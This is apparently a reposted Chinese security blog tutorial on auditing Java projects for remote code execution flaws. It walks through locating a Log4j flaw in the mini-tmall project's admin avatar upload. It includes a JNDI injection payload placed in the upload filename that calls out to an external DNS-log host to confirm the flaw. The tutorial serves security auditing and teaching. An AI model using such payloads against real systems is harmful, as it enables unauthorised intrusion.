代码审计-Java项目-组件RCE代码执行漏洞审计

代码审计必备知识点:

1代码审计开始前准备:

环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。

2、代码审计前信息收集:

审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。

3、代码审计挖掘漏洞根本:

可控变量及特定函数,不存在过滤或过滤不严谨可以绕过导致的安全漏洞。

4、代码审计展开计划:

审计项目漏洞原理->审计思路->完整源码->应用框架->验证并利用漏洞。

代码审计两种方法

功能点或关键字分析可能存在漏洞

抓包或搜索关键字找到代码出处及对应文件

追踪过滤或接收的数据函数,寻找触发此函数或代码的地方进行触发测试。

-常规或部分MVC模型源码可以采用关键字的搜索挖掘思路。

-框架 MVC 墨香源码一般会采用功能点分析抓包追踪挖掘思路。

1.搜索关键字找敏感函数

代码审计-Java项目-组件RCE代码执行漏洞审计

2.根据目标功能点判断可能存在的漏洞

代码审计-Java项目-组件RCE代码执行漏洞审计

JAVA项目——RCE漏洞产生层面

1、服务端直接存在可执行函数(exec()等),且对传入的参数过滤不严格导致RCE漏洞

2、服务端不直接存在可执行函数(exec()等),且对传入的参数过滤不严格导致RCE漏洞

3、由表达式注入导致的RCE漏洞,如:OGNL、SpEL、MVEL、EL、Fel、JST+EL等

4、由java后端模板引擎注入导致的RCE漏洞,如:FreemarkerVelocityThymeleaf

5、由java一些脚本语言引起的RCE漏洞,如:GroovyJavascriptEngine

6、由第三方开源组件引起的RCE漏洞,如:FastjsonShiroXstreamStruts2

案例:第三方框架迷你TmallLog4j组件-RCE漏洞

1.下载mini-tmall源码,使用idea打开,部署好环境

代码审计-Java项目-组件RCE代码执行漏洞审计

2.审计java项目,第一步查看pom.xml文件,发现使用了log4j组件。

代码审计-Java项目-组件RCE代码执行漏洞审计

3.搜索log4j漏洞,发现2.10.0版本存在RCE漏洞。搜索log4j的关键字logger,可以看到项目使用logger.info级别记录日志方式

代码审计-Java项目-组件RCE代码执行漏洞审计

4.经过审计,发现AccountController.java代码文件中日志记录拼接了变量参数,对代码进行分析。发现触发漏洞点的代码为logger.info(“获取图片原始文件名:{}”, originalFileName);,向上追踪,发现通过file.getOriginalFilename();获取file的文件名后赋值给originalFileName,在向上追踪,file参数来自admin/uploadAdminHeadImage接口

代码审计-Java项目-组件RCE代码执行漏洞审计

5.来到网站找到触发漏洞的管理员头像上传处,上传头像进行抓包

代码审计-Java项目-组件RCE代码执行漏洞审计

6.配合dnslog平台验证漏洞存在。修改数据包中filename参数为:${jndi:ldap://d6l6.dnslog.ink}

代码审计-Java项目-组件RCE代码执行漏洞审计

7.回到dnslog平台,成功接收到了解析记录,说明漏洞存在。

代码审计-Java项目-组件RCE代码执行漏洞审计

原文始发于微信公众号(小黑子安全):代码审计-Java项目-组件RCE代码执行漏洞审计

版权声明:admin 发表于 2023年12月15日 上午7:47。
转载请注明:代码审计-Java项目-组件RCE代码执行漏洞审计 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...